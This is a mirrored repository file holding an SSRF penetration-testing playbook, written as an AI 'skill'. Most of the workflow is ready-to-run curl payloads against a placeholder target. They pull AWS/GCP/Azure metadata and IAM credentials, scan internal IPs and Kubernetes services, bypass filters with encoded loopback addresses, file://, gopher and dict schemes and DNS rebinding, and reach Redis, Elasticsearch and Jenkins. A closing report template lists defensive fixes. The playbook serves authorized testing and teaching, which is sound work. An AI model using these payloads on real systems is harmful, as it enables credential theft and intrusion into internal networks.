mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-12 14:14:56 +03:00
efca3ec611
Mapped every skill to NIST CSF 2.0 subcategory IDs (GV/ID/PR/DE/RS/RC functions) based on subdomain and content analysis. Restores 11 skills corrupted during prior rebase, re-enriching with ATLAS, D3FEND, NIST AI RMF, and CSF 2.0 fields. All 754 skills now carry structured mappings for all 5 security frameworks: - MITRE ATT&CK (in tags) - MITRE ATLAS v5.5 (atlas_techniques) - MITRE D3FEND v1.3 (d3fend_techniques) - NIST AI RMF 1.0 (nist_ai_rmf) - NIST CSF 2.0 (nist_csf)
349 lines
13 KiB
Markdown
349 lines
13 KiB
Markdown
---
|
|
name: exploiting-server-side-request-forgery
|
|
description: Identifying and exploiting SSRF vulnerabilities to access internal services, cloud metadata, and restricted network
|
|
resources during authorized penetration tests.
|
|
domain: cybersecurity
|
|
subdomain: web-application-security
|
|
tags:
|
|
- penetration-testing
|
|
- ssrf
|
|
- owasp
|
|
- cloud-security
|
|
- web-security
|
|
- burpsuite
|
|
version: '1.0'
|
|
author: mahipal
|
|
license: Apache-2.0
|
|
nist_csf:
|
|
- PR.PS-01
|
|
- ID.RA-01
|
|
- PR.DS-10
|
|
- DE.CM-01
|
|
---
|
|
|
|
# Exploiting Server-Side Request Forgery
|
|
|
|
## When to Use
|
|
|
|
- During authorized penetration tests when the application fetches URLs provided by users (webhooks, URL previews, file imports)
|
|
- When testing cloud-hosted applications for access to instance metadata services
|
|
- For assessing PDF generators, screenshot services, or any feature that renders external content
|
|
- When evaluating microservice architectures for internal service access via SSRF
|
|
- During security assessments of APIs that accept URL parameters for data fetching
|
|
|
|
## Prerequisites
|
|
|
|
- **Authorization**: Written penetration testing agreement including SSRF testing scope
|
|
- **Burp Suite Professional**: With Collaborator for out-of-band detection
|
|
- **interactsh**: Open-source OOB interaction server (`go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest`)
|
|
- **SSRFmap**: Automated SSRF exploitation framework (`git clone https://github.com/swisskyrepo/SSRFmap.git`)
|
|
- **curl**: For manual SSRF payload testing
|
|
- **Knowledge of target infrastructure**: Cloud provider (AWS, GCP, Azure), internal IP ranges
|
|
|
|
## Workflow
|
|
|
|
### Step 1: Identify SSRF-Prone Functionality
|
|
|
|
Map all application features that make server-side HTTP requests.
|
|
|
|
```bash
|
|
# Common SSRF-prone features:
|
|
# - URL preview/unfurling (Slack-like link previews)
|
|
# - Webhook configuration endpoints
|
|
# - File import from URL (import CSV from URL)
|
|
# - PDF/screenshot generation from URL
|
|
# - Image/avatar fetching from URL
|
|
# - RSS/feed aggregation
|
|
# - OAuth callback URLs
|
|
# - API proxy/gateway features
|
|
|
|
# Test a URL parameter with Burp Collaborator
|
|
# Replace URL values with Collaborator payload
|
|
curl -s -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-H "Authorization: Bearer $TOKEN" \
|
|
-d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \
|
|
"https://target.example.com/api/fetch-url"
|
|
|
|
curl -s -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-H "Authorization: Bearer $TOKEN" \
|
|
-d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \
|
|
"https://target.example.com/api/webhooks"
|
|
|
|
# Test URL in various parameter names
|
|
for param in url uri link href src dest redirect callback webhook \
|
|
image_url avatar_url feed_url import_url proxy_url; do
|
|
echo "Testing param: $param"
|
|
curl -s -o /dev/null -w "%{http_code}" \
|
|
"https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}"
|
|
done
|
|
```
|
|
|
|
### Step 2: Access Cloud Instance Metadata
|
|
|
|
Test SSRF payloads targeting cloud provider metadata services.
|
|
|
|
```bash
|
|
# AWS EC2 Metadata (IMDSv1)
|
|
curl -s -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
|
|
"https://target.example.com/api/fetch-url"
|
|
|
|
# AWS - Get IAM role credentials
|
|
curl -s -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
|
|
"https://target.example.com/api/fetch-url"
|
|
|
|
# GCP Metadata
|
|
curl -s -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \
|
|
"https://target.example.com/api/fetch-url"
|
|
|
|
# Azure Metadata
|
|
curl -s -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \
|
|
"https://target.example.com/api/fetch-url"
|
|
|
|
# DigitalOcean Metadata
|
|
curl -s -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"url":"http://169.254.169.254/metadata/v1/"}' \
|
|
"https://target.example.com/api/fetch-url"
|
|
```
|
|
|
|
### Step 3: Scan Internal Network via SSRF
|
|
|
|
Use the SSRF vulnerability to discover internal services and ports.
|
|
|
|
```bash
|
|
# Internal network scanning - common private ranges
|
|
for ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do
|
|
for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do
|
|
echo -n "$ip:$port -> "
|
|
response=$(curl -s --max-time 3 -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-d "{\"url\":\"http://$ip:$port/\"}" \
|
|
"https://target.example.com/api/fetch-url")
|
|
echo "$response" | head -c 100
|
|
echo
|
|
done
|
|
done
|
|
|
|
# Kubernetes internal services
|
|
for svc in kubernetes.default.svc \
|
|
kubernetes-dashboard.kubernetes-dashboard.svc \
|
|
kube-dns.kube-system.svc; do
|
|
curl -s --max-time 3 -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-d "{\"url\":\"http://$svc/\"}" \
|
|
"https://target.example.com/api/fetch-url"
|
|
done
|
|
|
|
# Access internal admin panels
|
|
for path in /admin /console /actuator/env /server-status /_cat/indices; do
|
|
curl -s -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-d "{\"url\":\"http://127.0.0.1:8080$path\"}" \
|
|
"https://target.example.com/api/fetch-url"
|
|
done
|
|
```
|
|
|
|
### Step 4: Bypass SSRF Filters and Allowlists
|
|
|
|
When basic payloads are blocked, use bypass techniques.
|
|
|
|
```bash
|
|
# IP address encoding bypasses for 127.0.0.1
|
|
PAYLOADS=(
|
|
"http://127.0.0.1/"
|
|
"http://0177.0.0.1/" # Octal
|
|
"http://0x7f.0.0.1/" # Hex
|
|
"http://2130706433/" # Decimal
|
|
"http://127.1/" # Short form
|
|
"http://0/" # Zero
|
|
"http://[::1]/" # IPv6 loopback
|
|
"http://0.0.0.0/" # All interfaces
|
|
"http://localtest.me/" # DNS resolves to 127.0.0.1
|
|
"http://spoofed.burpcollaborator.net/" # DNS rebinding
|
|
"http://127.0.0.1.nip.io/" # Wildcard DNS
|
|
)
|
|
|
|
for payload in "${PAYLOADS[@]}"; do
|
|
echo -n "$payload -> "
|
|
curl -s -o /dev/null -w "%{http_code}" --max-time 3 \
|
|
-X POST -H "Content-Type: application/json" \
|
|
-d "{\"url\":\"$payload\"}" \
|
|
"https://target.example.com/api/fetch-url"
|
|
echo
|
|
done
|
|
|
|
# URL parsing bypass
|
|
# Embed credentials: http://expected.com@evil.com/
|
|
# Fragment: http://evil.com#expected.com
|
|
# URL encoding: http://127.0.0.%31/
|
|
# Redirect chain: http://attacker.com/redirect?url=http://127.0.0.1
|
|
|
|
# Protocol bypass
|
|
curl -s -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"url":"file:///etc/passwd"}' \
|
|
"https://target.example.com/api/fetch-url"
|
|
|
|
curl -s -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"url":"gopher://127.0.0.1:6379/_SET%20ssrf%20test"}' \
|
|
"https://target.example.com/api/fetch-url"
|
|
|
|
curl -s -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"url":"dict://127.0.0.1:6379/info"}' \
|
|
"https://target.example.com/api/fetch-url"
|
|
```
|
|
|
|
### Step 5: Exploit SSRF for Impact Escalation
|
|
|
|
Chain SSRF with internal services for maximum impact.
|
|
|
|
```bash
|
|
# Access Redis via gopher protocol
|
|
# Craft gopher payload to set a webshell via Redis
|
|
# gopher://127.0.0.1:6379/_CONFIG SET dir /var/www/html
|
|
# This is for authorized testing only
|
|
|
|
# Access Elasticsearch
|
|
curl -s -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"url":"http://127.0.0.1:9200/_cat/indices?v"}' \
|
|
"https://target.example.com/api/fetch-url"
|
|
|
|
# Read data from Elasticsearch
|
|
curl -s -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"url":"http://127.0.0.1:9200/users/_search?size=10"}' \
|
|
"https://target.example.com/api/fetch-url"
|
|
|
|
# Access internal Jenkins
|
|
curl -s -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"url":"http://127.0.0.1:8080/script"}' \
|
|
"https://target.example.com/api/fetch-url"
|
|
|
|
# AWS: Retrieve temporary credentials from IAM role
|
|
curl -s -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}' \
|
|
"https://target.example.com/api/fetch-url"
|
|
# Returns: AccessKeyId, SecretAccessKey, Token
|
|
```
|
|
|
|
### Step 6: Test Blind SSRF and DNS Rebinding
|
|
|
|
For cases where the response is not returned to the attacker.
|
|
|
|
```bash
|
|
# Blind SSRF detection using time-based analysis
|
|
# Compare response times for accessible vs inaccessible ports
|
|
time curl -s -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"url":"http://127.0.0.1:22/"}' \
|
|
"https://target.example.com/api/fetch-url"
|
|
|
|
time curl -s -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"url":"http://127.0.0.1:12345/"}' \
|
|
"https://target.example.com/api/fetch-url"
|
|
|
|
# DNS rebinding attack
|
|
# 1. Set up a DNS server that alternates between:
|
|
# - First query: returns attacker IP (passes allowlist)
|
|
# - Second query: returns 127.0.0.1 (targets internal service)
|
|
# 2. Use a rebinding service like rbndr.us
|
|
|
|
curl -s -X POST \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"url":"http://7f000001.c0a80001.rbndr.us/"}' \
|
|
"https://target.example.com/api/fetch-url"
|
|
# rbndr.us alternates DNS responses between the two encoded IPs
|
|
```
|
|
|
|
## Key Concepts
|
|
|
|
| Concept | Description |
|
|
|---------|-------------|
|
|
| **SSRF** | Server-Side Request Forgery - making the server send requests to unintended destinations |
|
|
| **Blind SSRF** | SSRF where the response is not returned to the attacker, requiring OOB detection |
|
|
| **Cloud Metadata** | Instance metadata services (169.254.169.254) exposing credentials and configuration |
|
|
| **Gopher Protocol** | Protocol allowing raw TCP data transmission, enabling attacks on internal services |
|
|
| **DNS Rebinding** | DNS attack that switches IP resolution to bypass SSRF hostname allowlists |
|
|
| **TOCTOU** | Time-of-check to time-of-use race condition in URL validation |
|
|
| **IMDSv2** | AWS metadata service v2 requiring session tokens, mitigating basic SSRF |
|
|
| **Open Redirect Chain** | Using an open redirect to bypass URL allowlists in SSRF filters |
|
|
|
|
## Tools & Systems
|
|
|
|
| Tool | Purpose |
|
|
|------|---------|
|
|
| **Burp Suite Professional** | Request modification and Collaborator for blind SSRF detection |
|
|
| **SSRFmap** | Automated SSRF exploitation framework with protocol support |
|
|
| **interactsh** | Out-of-band interaction detection for blind SSRF |
|
|
| **Gopherus** | Generates gopher payloads for exploiting internal services |
|
|
| **rbndr.us** | DNS rebinding service for SSRF filter bypass |
|
|
| **singularity** | DNS rebinding attack framework for automated exploitation |
|
|
|
|
## Common Scenarios
|
|
|
|
### Scenario 1: Webhook URL SSRF to AWS Credentials
|
|
A webhook configuration endpoint allows specifying a callback URL. Pointing it to `http://169.254.169.254/latest/meta-data/iam/security-credentials/` returns temporary AWS IAM credentials that can be used to access S3 buckets and other AWS services.
|
|
|
|
### Scenario 2: PDF Generator SSRF
|
|
A feature that generates PDFs from URLs makes server-side requests. Providing `http://127.0.0.1:8080/admin` as the URL generates a PDF containing the internal admin panel content.
|
|
|
|
### Scenario 3: Image URL SSRF with Protocol Bypass
|
|
An avatar URL field is filtered for HTTP/HTTPS but accepts `file://` protocol. Using `file:///etc/passwd` as the avatar URL causes the server to read local files and include content in the response.
|
|
|
|
### Scenario 4: Blind SSRF to Internal Redis
|
|
A URL fetch feature does not return response content but confirms success/failure. Using gopher protocol payloads, an attacker writes data to an internal Redis instance, achieving remote code execution.
|
|
|
|
## Output Format
|
|
|
|
```
|
|
## SSRF Vulnerability Finding
|
|
|
|
**Vulnerability**: Server-Side Request Forgery (Full SSRF)
|
|
**Severity**: Critical (CVSS 9.1)
|
|
**Location**: POST /api/webhooks - `callback_url` parameter
|
|
**OWASP Category**: A10:2021 - Server-Side Request Forgery
|
|
|
|
### Reproduction Steps
|
|
1. Send POST /api/webhooks with callback_url set to http://169.254.169.254/latest/meta-data/
|
|
2. Server makes request to AWS metadata endpoint
|
|
3. Response contains AWS instance metadata including IAM role name
|
|
4. Follow up with IAM credentials endpoint to retrieve temporary access keys
|
|
|
|
### Confirmed Access
|
|
| Target | Protocol | Response |
|
|
|--------|----------|----------|
|
|
| 169.254.169.254 (AWS metadata) | HTTP | IAM credentials retrieved |
|
|
| 127.0.0.1:6379 (Redis) | Gopher | Commands executed |
|
|
| 127.0.0.1:9200 (Elasticsearch) | HTTP | Index listing retrieved |
|
|
| 10.0.0.5:8080 (Internal API) | HTTP | Admin panel accessible |
|
|
|
|
### Impact
|
|
- AWS IAM temporary credentials exfiltrated (S3 read/write access)
|
|
- Internal Redis server accessible (potential RCE)
|
|
- Internal Elasticsearch data exposed (user records)
|
|
- Full internal network scanning capability
|
|
|
|
### Recommendation
|
|
1. Implement strict URL allowlisting (only allow known trusted domains)
|
|
2. Block requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)
|
|
3. Upgrade to AWS IMDSv2 (requires session token header)
|
|
4. Disable unused URL protocols (gopher, file, dict, ftp)
|
|
5. Use a dedicated outbound proxy for server-side requests with DNS resolution controls
|
|
```
|